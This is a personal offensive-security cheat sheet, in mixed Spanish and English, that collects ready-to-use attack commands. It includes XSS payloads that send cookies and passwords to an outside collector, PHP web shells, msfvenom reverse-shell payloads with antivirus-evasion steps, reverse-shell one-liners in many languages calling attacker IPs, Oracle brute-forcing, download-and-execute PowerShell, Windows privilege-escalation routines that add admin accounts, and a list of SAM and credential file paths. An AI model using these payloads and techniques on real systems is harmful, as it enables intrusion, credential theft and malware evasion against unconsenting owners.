<script> fetch('<https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net>', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script>

capture passwords

<input name=username id=username> <input type=password name=password onchange="if(this.value.length)fetch('<https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net>',{ method:'POST', mode: 'no-cors', body:username.value+':'+this.value });">

Exploiting

webshells

1 full webshells


Weevely

genera webshells

weevely generate password /tmp/payload.php

despues lo llamamos con :

weevely <http://192.168.1.2/location_of_payload> password

kali

/usr/share/webshells/

2 lite webshells


PHP web shells

<?php system($_GET["cmd"]); ?>

<?php echo shell_exec($_GET['cmd']); ?>

<? passthru($_GET["cmd"]); ?>

php with upload

<?php if (isset($_REQUEST['fupload'])) { file_put_contents($_REQUEST['fupload'], file_get_contents("<http://yourIP/>" . $_REQUEST['fupload'])); }; if (isset($_REQUEST['cmd'])) { echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; } ?>

then the above can be accessed by

curl <http://IP/shell.php?fupload=filename_on_your_webserver>

if running whoami we get the error: ‘standard in must be a tty’ we can try:

(sleep 1; echo password) | python -c "import pty; pty.spawn(['/bin/su','-c','whoami']);"

shellcodes , compiling and deploying

Autosploit

TODO

Compilando para windows en linux


install

apt-get install mingw-w64

compile

x86_64-w64-mingw32-gcc exploit.c -o nop.exe # 64bits i686-w64-mingw32-gcc exploit.c -o nop.exe -lws2_32 # 32bits

Cross compiling


gcc -m32 -o output32 hello.c (32 bit) gcc -m32 -o output32 hello.c (32 bit) gcc -m64 -o output hello.c (64 bit)

VISUAL CODE


cuando un projecto tiene algun archivo vcproj o vcxproj, sln los podes compilar con visual studio

descarga:

`Microsoft Visual Studio 2008 Service Pack 1 (iso)

http://www.microsoft.com/en-us/download/details.aspx?id=13276

http://download.microsoft.com/download/a/3/7/a371b6d1-fc5e-44f7-914c-cb452b4043a9/VS2008SP1ENUX1512962.iso`

Compile python script to .exe


pip install pyinstaller wget -O exploit.py <http://www.exploit-db.com/download/31853> python pyinstaller.py --onefile exploit.py

bypassing AV

We changed the binary structure so that the signature changes and antivirus programs don't detect it.

Option 1: We use an encoder

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe

Option 2 We embed it in a non-malicious executable

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.5 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe

Option 3 Encrypt it

We selected the embedded and encoded payload, copied it to a location, and used Hyperion.

 root@kali: cp shell_reverse_msf_encoded_embedded.exe backdoor.exe
  root@kali: cp /usr/share/windows-binaries/hyperion-1.0.zip .
  root@kali: unzip Hyperion.zip
  root@kali: cd HYperion
  root@kali:hyperion# i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe
  root@kali:hyperion# cp -p /usr/lib/gcc/i686-w64-mingnw32/6.1-win32/libgc_s_sjlj-1.dll .
  root@kali:hyperion# cp -p /usr/lib/gcc/i686-w64-mingw32/6.1-win32/libstdc++-6.dll .
  root@kali: wine hyperion.exe ../backdor.exe ../crypted.exe

Option 4 (ideal):

Build one manually, same with payloads.

Others

<https://github.com/secretsquirrel/the-backdoor-factory>
<https://www.veil-framework.com/>

SHELTER

We install it on Kali, pass it a binary file, and it adds a payload of our choosing.

databases

ORACLE


clii tool

sqlplus64 scott/[email protected]:1521/XE as sysdba

odat

odat all -s 10.10.10.82 -p 1521 odat passwordguesser –accounts-file /root/tools/SecLists/Passwords/Default-Credentials/oracle-betterdefaultpasslist.txt -s 10.10.10.82 -p 1521 -d XE

upload file with odat odat utlfile -s 10.10.10.82 -U scott -P tigger -d XE –sysdba –putFile c:\windows\temp shell.exe shell.exe

execute file odat externaltable -s 10.10.10.82 -U scott -P tiger -d XE –sysdba –exec c:/ shell.exe

hydra

podemos usar hydra para bruteforcear el passowrd del tnslistener si es que tien ./hydra -P rockyou.txt -t 32 -s 1521 host.victim oracle-listener

tmb para bruteforcear SIDs ./hydra -L /usr/share/oscanner/lib/services.txt -s 1521 host.victim oracle-sid

bruteforcear account ./hydra -L /tmp/user.txt -P /tmp/pass.txt -s 1521 host.victim oracle /PLSEXTPROC

oscanner

oscanner -s 192.168.1.18

sqlplus

para loguearse a una db remota sqlplus /@/;

si tiene sysdba sqlplus /@/ 'as sysdba';

MySQL


MSSQL


Postgres


MONGO

Reverse Shells

ncat

  • hacker:

    root@kali: nc -nlvp 666 or root@kali: rlwrap nc -nlvp 666

  • target:

    gil@ubuntu: nc -nv 10.10.0.25 666 -e /bin/bash

    c:> nc.exe 192.168.100.113 4444 –e cmd.exe

  • If you have the wrong version of netcat installed, try

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc attackerip >/tmp/f

powershell

options

  • NoP , -noprofile: No carga el windows profile

  • noni, -NonInteractive : asegura que sea no interactiva

  • Exec Bypass, -ExecutionPolicy Bypass: will not block the execution of any scripts or create any prompts

  • W Hidden: prevent powershell from displaying a window *

shells

  • desde url

    con invoke-powershell modificado, agregando los datos al final del script shell.php?cmd=echo IEX(New-Object System.Net.WebClient).downloadString('<http://10.10.14.6/Invoke-PowerShellTcp.ps1>') | powershell -noprofile -ep bypass

  • desde prompt

    powershell -NoP -W Hidden -Exec Bypass -c "iex New-Object Net.WebClient).DownloadString('<http://10.10.14.6/Invoke-PowerShellTcp.ps1>')";Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 666

  • run 64bits powershell

    %SystemRoot%\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe

python

tcp

import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("attackerip",443)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);

udp

start listener

nc -nvlp 4445 -u

import os,pty,socket; s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.connect(("10.10.14.17",4445)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv("HISTFILE",'/dev/null'); pty.spawn("/bin/sh"); s.close()

php

<?php exec("nohup bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'"); ?>

php -r '$sock=fsockopen("10.10.14.6",666);exec("/bin/bash -i <&3 >&3 2>&3");'

java reverse shell

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \\$line 2>&5 >&5; done"] as String[]) p.waitFor()

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f war > runme.war

groovy - jenkins

String host="10.10.14.6"; int port=666; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Bash

  • Method 1:

    bash -i >& /dev/tcp/10.10.14.6/4444 0>&1

  • Method 2:

    exec 5<>/dev/tcp/IP/80 cat <&5 | while read line; do $line 2>&5 >&5; done

    or:

    while read line 0<&5; do $line 2>&5 >&5; done

  • Method 3:

    bash -c "0<&196;exec 196<>/dev/tcp/10.10.14.6/4444; sh <&196 >&196 2>&196"

Perl

perl -e 'use Socket;$i="10.10.14.4";$p=6677;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

telnet

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p

asp

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.168.168 LPORT=443 -f asp -o shell.asp - also works for exporting .aspx

xterm

  • target

    xterm -display 10.0.0.1:1

  • attacker

    root@kali:~# Xnest :1 root@kali:~# xhost +targetip note: xserver for :1 listens on 6001

rundll32.exe

TODO

Regsvr32.exe

TODO

msiexec

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f msi > 1.msi

c:\\> msiexex \\q \\i <http://10.10.10.1/1.msi> #from url :D c:\\> msiexex \\q \\i 1.msi

exe

msfvenom --platform windows -p windows/shell_reverse_tcp LHOST=192.168.100.220 LPORT=4444 -f exe -o shell.exe

injected in another binary

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=445 -f exe -e x86/shikata_ga_nai -i 9 -x "/somebinary.exe" -o bad_binary.exe

socat

  • kali

    socat file:tty,raw,echo=0 tcp-listen:4444

  • victim

    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

  • binaries : https://github.com/andrew-d/static-binaries

    wget -q <https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat> -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

getting TTY


phineas fisher magic

  • In reverse shell

    $ python -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z

  • In Kali

    $ stty raw -echo $ fg

  • in reverse shell

    $ reset $ export SHELL=bash; export TERM=xterm-256color $ stty rows 38 columns 116

perl

perl -e 'exec "/bin/sh";' perl: exec "/bin/sh";

or

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

ruby

ruby: exec "/bin/sh"

irb

exec "/bin/sh"

vi

from within vi

:!bash :set shell=/bin/bash:shell

or

vi ;/bin/bash

old nmap

nmap --interactive nmap> !sh

expect to get tty

`$ cat sh.exp #!/usr/bin/expect

Spawn a shell, then allow the user to interact with it.

The new shell will have a good enough TTY to run tools like ssh, su and login

spawn sh interact`

SSL encrypted connection


allow only Alice’s IP (10.0.0.4) to connect to it:

  • target:

    C:\\Users\\offsec>ncat -‐exec cmd.exe -‐allow 10.0.0.4 --‐vnl 4444 -‐ssl

  • hacker:

    ncat -v 10.0.0.22 4444 --ssl

Windows privilege escalation

initial

IMPORTANTE

dir /r

dir /A Get-ChildItem . -Force —

Automatic tools


1 powerup

| from file

c:> powershell.exe -nop -exec bypass PS C:> ./PowerUp.ps1 PS C:> Invoke-AllChecks

c:> powershell.exe -nop -exec bypass PS c:> Import-MOdule ./PowerUp.ps1 PS c:> Invoke-AllChecks

| from url

powershell.exe -nop -ep bypass -c "IEX(New-Object Net.WebClient).downloadString('<http://10.10.14.14/PowerUp.ps1>')"

2 winpeas

`powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile "IEX(New-Object System.Net.WebClient).downloadFile('http://10.10.14.6/winPEAS64.exe','C:\\users\\Administrator\\Documents\\wp.exe')"

c:\users\kosts\Desktop> .\wp.exe`

3 watson

same as winpeas

Manual info gathering


Operating System

| what os and arch?

systeminfo wmic qfe

| environment variables

set

Get-ChildItem Env: | ft Key,Value

| drives

net use wmic logicaldisk get caption, description, providername wmic logicaldisk get name wmic logicaldisk get caption diskpart list volume

`Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

get-psdrive -psprovider filesystem`

| mount/map

net use \\\\IP address\\IPC$ "" /u:"" net use \\\\192.168.1.101\\IPC$ "" /u:""

Users

| whoami

whoami /priv echo %USERNAME%

$env:UserName

| other users

net users net users /domain dir /b /ad "C:\\Users\\" dir /b /ad "C:\\Documents and Settings\\"

Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem c:\\Users -Force | select Name

| logged in?

qwinsta

| groups

net localgroup

Get-LocalGroup | ft Name

| any admin?

net localgroup Administrators

Get-LocalGroupMember Administrators | ft Name,PrincipalSource

| registry autologon?

reg query "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\WinLogon' | select "Default*"

| Credential manager?

cmdkey /list dir C:\\Users\\username\\AppData\\Local\\Microsoft\\Credentials\\ dir C:\\Users\\username\\AppData\\Roaming\\Microsoft\\Credentials\\

Get-ChildItem -Hidden C:\\Users\\username\\AppData\\Local\\Microsoft\\Credentials\\ Get-ChildItem -Hidden C:\\Users\\username\\AppData\\Roaming\\Microsoft\\Credentials\\

| can we access SAM and System ?

%SYSTEMROOT%\\repair\\SAM %SYSTEMROOT%\\System32\\config\\RegBack\\SAM %SYSTEMROOT%\\System32\\config\\SAM %SYSTEMROOT%\\repair\\system %SYSTEMROOT%\\System32\\config\\SYSTEM %SYSTEMROOT%\\System32\\config\\RegBack\\system

programs, process and services

| what is installed?

dir /a "C:\\Program Files" dir /a "C:\\Program Files (x86)" reg query HKEY_LOCAL_MACHINE\\SOFTWARE

Get-ChildItem 'C:\\Program Files', 'C:\\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\\SOFTWARE | ft Name

| any weak folder or file permission?

`icacls "C:\Program Files\" 2>nul | findstr "(F)" | findstr "Everyone" icacls "C:\Program Files (x86)\" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:\Program Files\" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" icacls "C:\Program Files (x86)\" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"`

| Modify Permissions for Everyone or Users on Program Folders?

`icacls "C:\Program Files\" 2>nul | findstr "(M)" | findstr "Everyone" icacls "C:\Program Files (x86)\" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" icacls "C:\Program Files (x86)\" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"`

`Get-ChildItem 'C:\Program Files\','C:\Program Files (x86)\' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\','C:\Program Files (x86)\' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}`

| accesschk to check for writeable folders and files.

accesschk.exe -qwsu "Everyone" * accesschk.exe -qwsu "Authenticated Users" * accesschk.exe -qwsu "Users" *

Get-ChildItem "C:\\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\\sAllow\\s\\sModify"}

| whats running? ports?

tasklist /svc tasklist /v net start sc query

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id Get-Service

This one liner returns the process owner without admin rights, if something is blank under owner it’s probably running as SYSTEM, NETWORK SERVICE, or LOCAL SERVICE.

Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

| kill a process

taskkill /PID 1532 /F

| weak service permission?

accesschk.exe -uwcqv "Everyone" * accesschk.exe -uwcqv "Authenticated Users" * accesschk.exe -uwcqv "Users" *

| Are there any unquoted service paths?

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\\Windows\\\\" 2>nul |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

| scheduled tasks?

schtasks /query /fo LIST 2>nul | findstr TaskName dir C:\\windows\\tasks

Get-ScheduledTask | where {$_.TaskPath -notlike "\\Microsoft*"} | ft TaskName,TaskPath,State

| startup?

wmic startup get caption,command reg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run reg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce reg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run reg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce dir "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup" dir "C:\\Documents and Settings\\%username%\\Start Menu\\Programs\\Startup"

Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce' Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce' Get-ChildItem "C:\\Users\\All Users\\Start Menu\\Programs\\Startup" Get-ChildItem "C:\\Users\\$env:USERNAME\\Start Menu\\Programs\\Startup"

| is alwaysinstallelevated enabled?

reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated

networking

| basic

ipconfig /allows

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft

| routes?

route print

Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

| arp cache?

arp -a

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

| conection to others?

netstat -ano

| host file?

C:\\WINDOWS\\System32\\drivers\\etc\\hosts

| firewall?

netsh firewall show state netsh firewall show config netsh advfirewall firewall show rule name=all netsh advfirewall export "firewall.txt"

| more interfaces?

netsh dump

| snmp configurations?

reg query HKLM\\SYSTEM\\CurrentControlSet\\Services\\SNMP /s

Get-ChildItem -path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\SNMP -Recurse

Files and Sensitive Information

| passwords in registry?

reg query HKCU /f password /t REG_SZ /s reg query HKLM /f password /t REG_SZ /s

| sysprep or unattended?

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Get-Childitem –Path C:\\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

| IIS

`dir /a C:\inetpub\ dir /s web.config dir /s *root.txt 2>nul

C:\Windows\System32\inetsrv\config\applicationHost.config`

Get-Childitem –Path C:\\inetpub\\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

| iis logs

C:\\inetpub\\logs\\LogFiles\\W3SVC1\\u_ex[YYMMDD].log

| Is XAMPP, Apache, or PHP installed? Any there any XAMPP, Apache, or PHP configuration files?

dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf

Get-Childitem –Path C:\\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue

| apache logs?

dir /s access.log error.log

Get-Childitem –Path C:\\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

| any common insta win?

dir /s *pass* == *vnc* == *.config* 2>nul findstr /si password *.xml *.ini *.txt *.config 2>nul

Get-Childitem –Path C:\\Users\\ -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue Get-ChildItem C:\\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"

tasklist systeminfo whoami /priv net users net user <user> ipconfig /all netstat -ano netsh firewall show state netsh firewall show config netsh advfirwall firewall show rule name=all schtasks /query /fo LIST /v

| check updates

wmic qfe get Caption,Description,HotFixID,InstalledOn

  • check configuration files who might store credentials

    c:\\sysprep.inf c:\\sysprep\\sysprep.xml %WINDIR%\\Panther\\Unattend\\Unattended.xml %WINDIR%\\Panther\\Unattended.xml

    exploit suggester


from kali with systeminfo

| Windows Exploit Suggester - Next Generation

https://github.com/bitsadmin/wesng

| Windows Exploit Suggester

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

python /home/nikhil/scripts/windows-exploit-suggester.py -d 2016-07-02-mssb.xls -i systeminfo -l

  • l : show only local exploits

from box

| windows-privesc-check v2

https://github.com/pentestmonkey/windows-privesc-check

comands


| windows admin to system :

PSEXEC.exe -i -s -d CMD

| connect remotely psexec

temes credenciales y smb esta abierto? proba

psexec.py Administrator:'MyUnclesAreMarioAndLuigi!!1!'@10.10.10.125

| add admin user account

net user /add [username] [password] net localgroup administrators [username] /add

OR WITH binary

`#include int main() { int i;

i = system(“net user /add ashoka qwerty”); i = system(“net localgroup administrators ashoka /add”); return 0;

}`

| find weak permissions via Cacls or ICacls

cacls “C:\\Program Files” /T | findstr Users or icacls “C:\\Program Files” /T | findstr Users

icacls "c:\\program files\\serviio\\bin\\serviioService.exe"

anexo

based on : https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/

always install elevated

_WPE-09 - Always Install Elevated

Windows environments provide a group policy setting which allows a regular user to install a Microsoft Windows Installer Package (MSI) with system privileges

| 1 verify

reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated

| 2 Generate payload on attacking machine:

msfvenom -p windows/exec CMD='net localgroup administrators minilow /add' -f msi-nouac -o setup.msi

| 3 Run it on the target machine:

msiexec /quiet /qn /i C:\\Temp\\setup.msi

| 4 Reverse shell con system ya en el msi

TODO

secondary logon handle

WPE-11 - Secondary Logon Handle

usando el de empire [https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-MS16032.ps1]

| modificamos invoke-ms160932.ps1 y le agregamos al final:

Invoke-MS16032 -Command "IEX(New-Object Net.WebClient).DownloadString('<http://10.10.14.14/Invoke-PowerShellTcp.ps1>');;Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.14 -Port 444"

| levantamos un server http que tenga Invoke-PowershellTcp.ps1 y invoke-ms16032.ps1

python -m SimpleHTTPServer 80

| levantamos un listener

nc -nlvp 444

| en target:

C:> %SystemRoot%\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe -nop -ep bypass -c "iex(New-Object Net.Webclient).downloadString('<http://10.10.14.14/invoke-ms16032.ps1>')"

insecure registry permissions

WPE-12 - Insecure Registry Permissions

| 1 identify

The process of privilege escalation via insecure registry permissions is very simple. Registry keys for the services that are running on the system can be found in the following registry path:

HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services

If a standard user has permissions to modify the registry key “ImagePath” which contains the path to the application binary then he could escalate privileges to system as the Apache service is running under these privileges.

| 2 compile binary

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.220 LPORT=4445 -f exe -o shell2.exe

| 3 start listener

nc -nlvp 4444

| 4 modify registry

The only thing that is required is to add a registry key that will change the ImagePath to the location of where the malicious payload is stored.

C:\\Users\\pentestlab\\Desktop>reg add "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services\\Apache" /t REG_EXPAND_SZ /v ImagePath /d "C:\\xampp\\shell2.exe" /f

| 5 profit

intel sysret

WPE-13 - Intel SYSRET

| ms12-042

This vulnerability allows an attacker to execute code to the kernel (ring0) due to the difference in implementation between processors AMD and Intel. For example an operating system that it is written according to AMD specifications but runs on an Intel hardware is vulnerable. Since the attacker can execute code into the kernel it could allow him to escalate his privileges from user level to system.

Windows environments are vulnerable due to the way that the Windows User Mode Scheduler is handling system requests. This issue affects 64-bit versions of Windows 2008 and Windows 7 that are running on an Intel chip.

| run the exploit agains explorer.exe for example

`tasklist

explorer.exe 1595 console 1 41.1K`

c:> sysret.exe -pid 1595 c:> whoami nt authority/system

runas

Windows includes a useful command called RunAs that enables a user to run a program as a different user if credentials are known.

Example


So we have a program we want to run, we have a shell as a low priv user, and we have the username and password of an admin user from a different machine, but because we have a non-interactive shell there is no option to input the password. What can we do? Let me set up a situation and provide the solution for the problem:

| create file

Create a file called runme.ps1 (powershell file), and add the contents below to the file:

$secpasswd = ConvertTo-SecureString "Welcome1!" -AsPlainText -Force $mycreds = New-Object System.Management.Automation.PSCredential ("Administrator", $secpasswd) $computer = "workstation7" [System.Diagnostics.Process]::Start("C:\\Users\\alfred\\Desktop\\rev.exe","", $mycreds.Username, $mycreds.Password, $computer)

| alternative to runme.ps1

$password = convertto-securestring -AsPlainText -Force -String "36mEAhz/B8xQ~2VM"; $credential = new-object -typename System.Management.Automation.PSCredential - argumentlist "SNIPER\\chris",$password; Invoke-Command -ComputerName LOCALHOST -ScriptBlock { wget <http://10.10.14.23/nc.exe> -o C:\\Users\\chris\\nc.exe } -credential $credential; Invoke-Command -ComputerName LOCALHOST -ScriptBlock { C:\\Users\\chris\\nc.exe -e cmd.exe 10.10.14.23 4444} -credential $credential;

| create reverse shell

msfvenom -p windows/shell_reverse_tcp LPORT=666 LHOST=10.10.14.6 -f exe -o rev.exe

| execute

C:\\> powershell -ExecutionPolicy Bypass -File runme.ps1

RUNAS With saved keys


if you see keys with cmdkey /list , you can get a shell with those saved keys

runas /user:ACCESS\\Administrator /savecred "powershell -c IEX (New-Object net.webclient).downloadstring('<http://10.10.14.6/Invoke-PowerShellTcp.ps1>')"

LFI files

C:\\Apache\\conf\\httpd.conf
C:\\Apache\\logs\\access.log
C:\\Apache\\logs\\error.log
C:\\Apache2\\conf\\httpd.conf
C:\\Apache2\\logs\\access.log
C:\\Apache2\\logs\\error.log
C:\\Apache22\\conf\\httpd.conf
C:\\Apache22\\logs\\access.log
C:\\Apache22\\logs\\error.log
C:\\Apache24\\conf\\httpd.conf
C:\\Apache24\\logs\\access.log
C:\\Apache24\\logs\\error.log
C:\\Documents and Settings\\Administrator\\NTUser.dat
C:\\php\\php.ini
C:\\php4\\php.ini
C:\\php5\\php.ini
C:\\php7\\php.ini
C:\\Program Files (x86)\\Apache Group\\Apache\\conf\\httpd.conf
C:\\Program Files (x86)\\Apache Group\\Apache\\logs\\access.log
C:\\Program Files (x86)\\Apache Group\\Apache\\logs\\error.log
C:\\Program Files (x86)\\Apache Group\\Apache2\\conf\\httpd.conf
C:\\Program Files (x86)\\Apache Group\\Apache2\\logs\\access.log
C:\\Program Files (x86)\\Apache Group\\Apache2\\logs\\error.log
c:\\Program Files (x86)\\php\\php.ini
C:\\Program Files\\Apache Group\\Apache\\conf\\httpd.conf
C:\\Program Files\\Apache Group\\Apache\\conf\\logs\\access.log
C:\\Program Files\\Apache Group\\Apache\\conf\\logs\\error.log
C:\\Program Files\\Apache Group\\Apache2\\conf\\httpd.conf
C:\\Program Files\\Apache Group\\Apache2\\conf\\logs\\access.log
C:\\Program Files\\Apache Group\\Apache2\\conf\\logs\\error.log
C:\\Program Files\\FileZilla Server\\FileZilla Server.xml
C:\\Program Files\\MySQL\\my.cnf
C:\\Program Files\\MySQL\\my.ini
C:\\Program Files\\MySQL\\MySQL Server 5.0\\my.cnf
C:\\Program Files\\MySQL\\MySQL Server 5.0\\my.ini
C:\\Program Files\\MySQL\\MySQL Server 5.1\\my.cnf
C:\\Program Files\\MySQL\\MySQL Server 5.1\\my.ini
C:\\Program Files\\MySQL\\MySQL Server 5.5\\my.cnf
C:\\Program Files\\MySQL\\MySQL Server 5.5\\my.ini
C:\\Program Files\\MySQL\\MySQL Server 5.6\\my.cnf
C:\\Program Files\\MySQL\\MySQL Server 5.6\\my.ini
C:\\Program Files\\MySQL\\MySQL Server 5.7\\my.cnf
C:\\Program Files\\MySQL\\MySQL Server 5.7\\my.ini
C:\\Program Files\\php\\php.ini
C:\\Users\\Administrator\\NTUser.dat
C:\\Windows\\debug\\NetSetup.LOG
C:\\Windows\\Panther\\Unattend\\Unattended.xml
C:\\Windows\\Panther\\Unattended.xml
C:\\Windows\\php.ini
C:\\Windows\\repair\\SAM
C:\\Windows\\repair\\system
C:\\Windows\\System32\\config\\AppEvent.evt
C:\\Windows\\System32\\config\\RegBack\\SAM
C:\\Windows\\System32\\config\\RegBack\\system
C:\\Windows\\System32\\config\\SAM
C:\\Windows\\System32\\config\\SecEvent.evt
C:\\Windows\\System32\\config\\SysEvent.evt
C:\\Windows\\System32\\config\\SYSTEM
C:\\Windows\\System32\\drivers\\etc\\hosts
C:\\Windows\\System32\\winevt\\Logs\\Application.evtx
C:\\Windows\\System32\\winevt\\Logs\\Security.evtx
C:\\Windows\\System32\\winevt\\Logs\\System.evtx
C:\\Windows\\win.ini
C:\\xampp\\apache\\conf\\extra\\httpd-xampp.conf
C:\\xampp\\apache\\conf\\httpd.conf
C:\\xampp\\apache\\logs\\access.log
C:\\xampp\\apache\\logs\\error.log
C:\\xampp\\FileZillaFTP\\FileZilla Server.xml
C:\\xampp\\MercuryMail\\MERCURY.INI
